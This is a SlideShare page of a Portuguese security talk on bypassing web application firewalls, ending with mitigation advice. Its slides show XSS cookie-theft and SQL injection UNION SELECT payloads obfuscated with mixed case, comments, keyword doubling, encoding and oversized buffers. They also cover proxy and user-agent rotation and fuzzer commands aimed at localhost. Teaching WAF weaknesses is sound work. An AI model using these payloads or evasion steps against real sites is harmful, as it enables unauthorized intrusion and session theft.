SlideShare une entreprise Scribd logo
1  sur  41
Télécharger pour lire hors ligne
1/ 41
®
Burlando um WAF
22 de junho de 2015
®
2/ 41
®
Quem sou ?
● Antonio Costa “Cooler_”
● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP
etc...
● Pentest, codereview, engenharia reversa e
pesquisas para problemas diversos etc...
● @Cooler_freenode
● https://github.com/CoolerVoid
● acosta@conviso.com.br
● coolerlair@gmail.com
3/ 41
®
Agenda
● Entendendo o problema
● Burlando um WAF
● Automatizando o ataque
● Sugestões para mitigação
4/ 41
®
Entendendo o Problema
● WAF (web application firewall)
● Filtro com conjunto de regras
● Protege de ataques comuns
● Registra informações de ataques
● Bloqueia ataques
5/ 41
®
Entendendo o Problema
● Filtra tanto Request como Response
6/ 41
®
Entendendo o Problema
● Request exemplo:
GET /sell/cars.php?search=<script>alert(document.cookie)</script >
7/ 41
®
Entendendo o Problema
● Match exato
● BlackList...
● “alert(”,
● ”union”
● “select”
● “script”
● “eval”...
8/ 41
®
Entendendo o Problema
● Block por IP
● DoS
● E se spoofar ?
Spoofing ?
9/ 41
®
Entendendo o Problema
● Regras não são suficientes...
● Expressão regular “regex” não faz matching
10/ 41
®
Entendendo o Problema
● ReDOS (Regular expression denial of service)
● Agrupamento
● Repetição e Alternância com sobreposição
● ([A-Za-z]+)*([0-9]+)*
● ([0-9a-z]|d+)*
11/ 41
®
Burlando um WAF
12/ 41
®
Burlando um WAF
● Como Detectar o WAF ?
● Descobrimento de um WAF pode se dar por alguns fatores são eles
“header” da Response, por cookies e outros meios.
● Pode-se fazer manualmente, entretanto é interessante automatizar
com ferramentas:
● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse
● https://github.com/sandrogauci/wafw00f
● http://code.google.com/p/imperva-detect/
● …
13/ 41
®
Burlando um WAF
Mixed Case
● Em alguns casos o “patern matching” para um elemento de uma
blacklist seria “case sentive”, ou seja qualquer caractere que esteja
fora do padrão não irá passar por “matching”.
● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”...
● “script” é diferente de “sCriPT”,”ScRipT”...
● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL
injection, isso pois o ambiente que interpreta não é “case sentive”.
● Exemplo:
● /sell/cars.php?search=<script>alert(document.cookie)</script
● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
14/ 41
®
Burlando um WAF
Replace Keywords
● Alguns casos que não ocorre um block, fazem troca de uma string por outra,
exemplo se encontra palavra “union select” substitui por “” ou seja acaba
trocando por nada( apaga a ocorrência de uma palavra), logo á Request
continua não é bloqueada.
● Como atacante pode se aproveitar disso ?
● Exemplos:
● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9
● Assim que o WAF fazer replace(troca) então temos:
● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
15/ 41
®
Burlando um WAF
Spaces to comment
● Trocar espaços em branco por comentários “/**/”, ou mesmo
adicionar comentários em pontos aleatórios, ajuda a fugir do
“match”.
● Exemplos:
● /sell/cars.php?
search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– -
● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!
table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!
TaBlE_ScHeMa*/+like+database()– -
16/ 41
®
Burlando um WAF
Buffer Overflow
● Crashar aplicação forçando buffer overflow deixa o caminho livre para
nossos payloads.
● Exemplos:
● /cars/id/page/=-25+and+(select 2)=(Select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...])+/*!
UnIOn*/+/*!selECt*/+4,5,6,7…
● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...)
+uNIoN+seLecT+2,3,version()...
● Por que isso ocorre ?
● Nem todo WAF segue uma prática correta para limitar o buffer de entrada,
logo um payload com tamanho extremo pode causar buffer overflow.
funções como strcpy(),strcat() sem devido buffer limitado e definido podem
causar estes problemas, por isso o recomendado é usar funções como
strncat() ou mesmo strncpy().
17/ 41
®
Burlando um WAF
● Outras formas...
● Objetivo é o mesmo burlar
18/ 41
®
Burlando um WAF
Encodes
● Codificando os payloads podemos enganar o “match”, os mais
usados são encode64, url encode, double url encode...
● Exemplo:
<script>alert(document.cookie)</script
● Url encode:
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript
● 64 encode
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jpc
HQ=
19/ 41
®
Burlando um WAF
● HPP(HTTP Parameter Pollution)
● Uma técnica que visa enviar muitos parâmetros para assim
burlar filtros de ambientes.
20/ 41
®
Burlando um WAF
● Mude o IP use Proxy
● Mude o User Agent
21/ 41
®
Burlando um WAF
● Ataques ao mesmo tempo? BLOCK !
● Delay de tempo em cada Request
● Periodicidade no tempo
● Diversidade
-Mudar IP
-Mudar Payload
-Mudar UserAgent
22/ 41
®
Burlando um WAF
● Outras formas...
● obfuscar
● encodar apenas um
caracter etc...
23/ 41
®
Automatizando o ataque
● Por que automatizar ?
24/ 41
®
Automatizando o ataque
● Payloadmask
https://github.com/CoolerVoid/payloadmask
25/ 41
®
26/ 41
®
● Futuro da ferramenta
github.com/CoolerVoid/payloadmask/issues
27/ 41
®
Automatizando o ataque
● 0d1n
https://github.com/CoolerVoid/0d1n
28/ 41
®
Automatizando o ataque
● 0d1n
https://github.com/CoolerVoid/0d1n
29/ 41
®
Automatizando o ataque
30/ 41
®
Automatizando o ataque
31/ 41
®
Automatizando o ataque
32/ 41
®
Automatizando o ataque
● Exemplo:
./0d1n –host http://localhost/test.php –post
”car_name=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log
name_log –save_response –tamper
urlencode -proxy-rand paylaods/proxy.txt
33/ 41
®
Automatizando o ataque
34/ 41
®
Automatizando o ataque
35/ 41
®
Automatizando o ataque
● Exemplo:
./0d1n –host http://localhost/test.php –post
”car_name=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log
name_log –save_response
36/ 41
®
Automatizando o ataque
● Futuro da ferramenta...
github.com/CoolerVoid/0d1n/issues
37/ 41
®
Automatizando o ataque
●
38/ 41
®
Sugestões para mitigação
● Não usar Regex que tenha redundância
● Usar Whitelist e não Blacklist.
● Prevenção sempre, contratar serviços para
auditoria na aplicação
● Não esperar que o WAF faça tudo...
● Sanitizar informações e validar
● Mantenha o ambiente Hardenizado.
39/ 41
®
Agradecimentos !
● IAK, Sigsegv, M0nad, Slyfunky, Clandestine,
Robertux, F117, Loganbr, MMxM, eremita, Mente
Binaria, Otacon, Ephexis, pl4nkt0n, necrist,
dr_gordon, sheilong etc... galera do IRC etc..
● Aos Mestres da CONVISO
● Ulisses Castro por ter dado sugestão do “Tamper”
40/ 41
®
Perguntas ???
41/ 41
®

Contenu connexe

Tendances (9)

IFR y Helicópteros
IFR y HelicópterosIFR y Helicópteros
IFR y Helicópteros
 
ADS-C
ADS-CADS-C
ADS-C
 
Ifr quick reviewsheets pilot cafe
Ifr quick reviewsheets pilot cafeIfr quick reviewsheets pilot cafe
Ifr quick reviewsheets pilot cafe
 
netfilter and iptables
netfilter and iptablesnetfilter and iptables
netfilter and iptables
 
ACARS
 ACARS ACARS
ACARS
 
La seguridad en las operaciones aéreas de lucha contra incendios (AECA)
La seguridad en las operaciones aéreas de lucha contra incendios (AECA) La seguridad en las operaciones aéreas de lucha contra incendios (AECA)
La seguridad en las operaciones aéreas de lucha contra incendios (AECA)
 
Arpa
ArpaArpa
Arpa
 
MBDA Briefing at Williams Foundation Seminar, April 11, 2019
MBDA Briefing at Williams Foundation Seminar, April 11, 2019MBDA Briefing at Williams Foundation Seminar, April 11, 2019
MBDA Briefing at Williams Foundation Seminar, April 11, 2019
 
Lesson 10 Gyro And Magnetic Compass
Lesson 10   Gyro And Magnetic CompassLesson 10   Gyro And Magnetic Compass
Lesson 10 Gyro And Magnetic Compass
 

Similaire à Burlando Waf 2.0

LabMM3 - Aula teórica 04
LabMM3 - Aula teórica 04LabMM3 - Aula teórica 04
LabMM3 - Aula teórica 04Carlos Santos
 
(A04 e A05) LabMM3 - JavaScript
(A04 e A05) LabMM3 - JavaScript(A04 e A05) LabMM3 - JavaScript
(A04 e A05) LabMM3 - JavaScriptCarlos Santos
 
Webinar: Arquitetura de software para sistemas embarcados
Webinar: Arquitetura de software para sistemas embarcadosWebinar: Arquitetura de software para sistemas embarcados
Webinar: Arquitetura de software para sistemas embarcadosEmbarcados
 
OWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbookOWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbookGiovane Liberato
 
T03_LM3: Javascript (2013-2014)
T03_LM3: Javascript (2013-2014)T03_LM3: Javascript (2013-2014)
T03_LM3: Javascript (2013-2014)Carlos Santos
 
Async/Await Pattern in C#
Async/Await Pattern in C#Async/Await Pattern in C#
Async/Await Pattern in C#Leandro Silva
 
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...Jeronimo Zucco
 
gRPC: Por que você ainda usa REST?
gRPC: Por que você ainda usa REST?gRPC: Por que você ainda usa REST?
gRPC: Por que você ainda usa REST?Yago Tomé
 
Node.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançadoNode.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançadoEduardo Bohrer
 
REST - The right way
REST - The right wayREST - The right way
REST - The right waysantosluis87
 
PHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformancePHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformanceFelipe Ribeiro
 
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...Jeronimo Zucco
 

Similaire à Burlando Waf 2.0 (20)

burlando um WAF
burlando um WAFburlando um WAF
burlando um WAF
 
LabMM3 - Aula teórica 04
LabMM3 - Aula teórica 04LabMM3 - Aula teórica 04
LabMM3 - Aula teórica 04
 
(A04 e A05) LabMM3 - JavaScript
(A04 e A05) LabMM3 - JavaScript(A04 e A05) LabMM3 - JavaScript
(A04 e A05) LabMM3 - JavaScript
 
Webinar: Arquitetura de software para sistemas embarcados
Webinar: Arquitetura de software para sistemas embarcadosWebinar: Arquitetura de software para sistemas embarcados
Webinar: Arquitetura de software para sistemas embarcados
 
OWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbookOWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbook
 
Putting a-heat-with-thermostat
Putting a-heat-with-thermostatPutting a-heat-with-thermostat
Putting a-heat-with-thermostat
 
Vivendo de hacking
Vivendo de hackingVivendo de hacking
Vivendo de hacking
 
T03_LM3: Javascript (2013-2014)
T03_LM3: Javascript (2013-2014)T03_LM3: Javascript (2013-2014)
T03_LM3: Javascript (2013-2014)
 
Async/Await Pattern in C#
Async/Await Pattern in C#Async/Await Pattern in C#
Async/Await Pattern in C#
 
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
 
HTTP 2
HTTP 2HTTP 2
HTTP 2
 
gRPC: Por que você ainda usa REST?
gRPC: Por que você ainda usa REST?gRPC: Por que você ainda usa REST?
gRPC: Por que você ainda usa REST?
 
Node.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançadoNode.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançado
 
REST - The right way
REST - The right wayREST - The right way
REST - The right way
 
PHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformancePHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta Performance
 
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
 
Jsummit 2014
Jsummit 2014Jsummit 2014
Jsummit 2014
 
GET /conceitos HTTP/1.1
GET /conceitos HTTP/1.1GET /conceitos HTTP/1.1
GET /conceitos HTTP/1.1
 
Sapo Sessions PHP
Sapo Sessions PHPSapo Sessions PHP
Sapo Sessions PHP
 
Development pitfalls
Development pitfallsDevelopment pitfalls
Development pitfalls
 

Plus de Antonio Costa aka Cooler_ (11)

Strange security mitigations
Strange security mitigationsStrange security mitigations
Strange security mitigations
 
Understand study
Understand studyUnderstand study
Understand study
 
WAF protections and bypass resources
WAF protections and bypass resourcesWAF protections and bypass resources
WAF protections and bypass resources
 
Static analysis for beginners
Static analysis for beginnersStatic analysis for beginners
Static analysis for beginners
 
Improving spam detection with automaton
Improving spam detection with automatonImproving spam detection with automaton
Improving spam detection with automaton
 
Raptor web application firewall
Raptor web application firewallRaptor web application firewall
Raptor web application firewall
 
0d1n
0d1n0d1n
0d1n
 
0d1n bsides2
0d1n bsides20d1n bsides2
0d1n bsides2
 
Bsides odin
Bsides odinBsides odin
Bsides odin
 
Bsides4cooler
Bsides4coolerBsides4cooler
Bsides4cooler
 
detector de ladrão com laser
detector de ladrão com laserdetector de ladrão com laser
detector de ladrão com laser
 

Burlando Waf 2.0

  • 1. 1/ 41 ® Burlando um WAF 22 de junho de 2015 ®
  • 2. 2/ 41 ® Quem sou ? ● Antonio Costa “Cooler_” ● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP etc... ● Pentest, codereview, engenharia reversa e pesquisas para problemas diversos etc... ● @Cooler_freenode ● https://github.com/CoolerVoid ● acosta@conviso.com.br ● coolerlair@gmail.com
  • 3. 3/ 41 ® Agenda ● Entendendo o problema ● Burlando um WAF ● Automatizando o ataque ● Sugestões para mitigação
  • 4. 4/ 41 ® Entendendo o Problema ● WAF (web application firewall) ● Filtro com conjunto de regras ● Protege de ataques comuns ● Registra informações de ataques ● Bloqueia ataques
  • 5. 5/ 41 ® Entendendo o Problema ● Filtra tanto Request como Response
  • 6. 6/ 41 ® Entendendo o Problema ● Request exemplo: GET /sell/cars.php?search=<script>alert(document.cookie)</script >
  • 7. 7/ 41 ® Entendendo o Problema ● Match exato ● BlackList... ● “alert(”, ● ”union” ● “select” ● “script” ● “eval”...
  • 8. 8/ 41 ® Entendendo o Problema ● Block por IP ● DoS ● E se spoofar ? Spoofing ?
  • 9. 9/ 41 ® Entendendo o Problema ● Regras não são suficientes... ● Expressão regular “regex” não faz matching
  • 10. 10/ 41 ® Entendendo o Problema ● ReDOS (Regular expression denial of service) ● Agrupamento ● Repetição e Alternância com sobreposição ● ([A-Za-z]+)*([0-9]+)* ● ([0-9a-z]|d+)*
  • 12. 12/ 41 ® Burlando um WAF ● Como Detectar o WAF ? ● Descobrimento de um WAF pode se dar por alguns fatores são eles “header” da Response, por cookies e outros meios. ● Pode-se fazer manualmente, entretanto é interessante automatizar com ferramentas: ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/ ● …
  • 13. 13/ 41 ® Burlando um WAF Mixed Case ● Em alguns casos o “patern matching” para um elemento de uma blacklist seria “case sentive”, ou seja qualquer caractere que esteja fora do padrão não irá passar por “matching”. ● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”... ● “script” é diferente de “sCriPT”,”ScRipT”... ● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL injection, isso pois o ambiente que interpreta não é “case sentive”. ● Exemplo: ● /sell/cars.php?search=<script>alert(document.cookie)</script ● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
  • 14. 14/ 41 ® Burlando um WAF Replace Keywords ● Alguns casos que não ocorre um block, fazem troca de uma string por outra, exemplo se encontra palavra “union select” substitui por “” ou seja acaba trocando por nada( apaga a ocorrência de uma palavra), logo á Request continua não é bloqueada. ● Como atacante pode se aproveitar disso ? ● Exemplos: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● Assim que o WAF fazer replace(troca) então temos: ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
  • 15. 15/ 41 ® Burlando um WAF Spaces to comment ● Trocar espaços em branco por comentários “/**/”, ou mesmo adicionar comentários em pontos aleatórios, ajuda a fugir do “match”. ● Exemplos: ● /sell/cars.php? search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*! TaBlE_ScHeMa*/+like+database()– -
  • 16. 16/ 41 ® Burlando um WAF Buffer Overflow ● Crashar aplicação forçando buffer overflow deixa o caminho livre para nossos payloads. ● Exemplos: ● /cars/id/page/=-25+and+(select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...])+/*! UnIOn*/+/*!selECt*/+4,5,6,7… ● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...) +uNIoN+seLecT+2,3,version()... ● Por que isso ocorre ? ● Nem todo WAF segue uma prática correta para limitar o buffer de entrada, logo um payload com tamanho extremo pode causar buffer overflow. funções como strcpy(),strcat() sem devido buffer limitado e definido podem causar estes problemas, por isso o recomendado é usar funções como strncat() ou mesmo strncpy().
  • 17. 17/ 41 ® Burlando um WAF ● Outras formas... ● Objetivo é o mesmo burlar
  • 18. 18/ 41 ® Burlando um WAF Encodes ● Codificando os payloads podemos enganar o “match”, os mais usados são encode64, url encode, double url encode... ● Exemplo: <script>alert(document.cookie)</script ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript ● 64 encode PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jpc HQ=
  • 19. 19/ 41 ® Burlando um WAF ● HPP(HTTP Parameter Pollution) ● Uma técnica que visa enviar muitos parâmetros para assim burlar filtros de ambientes.
  • 20. 20/ 41 ® Burlando um WAF ● Mude o IP use Proxy ● Mude o User Agent
  • 21. 21/ 41 ® Burlando um WAF ● Ataques ao mesmo tempo? BLOCK ! ● Delay de tempo em cada Request ● Periodicidade no tempo ● Diversidade -Mudar IP -Mudar Payload -Mudar UserAgent
  • 22. 22/ 41 ® Burlando um WAF ● Outras formas... ● obfuscar ● encodar apenas um caracter etc...
  • 23. 23/ 41 ® Automatizando o ataque ● Por que automatizar ?
  • 24. 24/ 41 ® Automatizando o ataque ● Payloadmask https://github.com/CoolerVoid/payloadmask
  • 26. 26/ 41 ® ● Futuro da ferramenta github.com/CoolerVoid/payloadmask/issues
  • 27. 27/ 41 ® Automatizando o ataque ● 0d1n https://github.com/CoolerVoid/0d1n
  • 28. 28/ 41 ® Automatizando o ataque ● 0d1n https://github.com/CoolerVoid/0d1n
  • 32. 32/ 41 ® Automatizando o ataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand paylaods/proxy.txt
  • 35. 35/ 41 ® Automatizando o ataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response
  • 36. 36/ 41 ® Automatizando o ataque ● Futuro da ferramenta... github.com/CoolerVoid/0d1n/issues
  • 38. 38/ 41 ® Sugestões para mitigação ● Não usar Regex que tenha redundância ● Usar Whitelist e não Blacklist. ● Prevenção sempre, contratar serviços para auditoria na aplicação ● Não esperar que o WAF faça tudo... ● Sanitizar informações e validar ● Mantenha o ambiente Hardenizado.
  • 39. 39/ 41 ® Agradecimentos ! ● IAK, Sigsegv, M0nad, Slyfunky, Clandestine, Robertux, F117, Loganbr, MMxM, eremita, Mente Binaria, Otacon, Ephexis, pl4nkt0n, necrist, dr_gordon, sheilong etc... galera do IRC etc.. ● Aos Mestres da CONVISO ● Ulisses Castro por ter dado sugestão do “Tamper”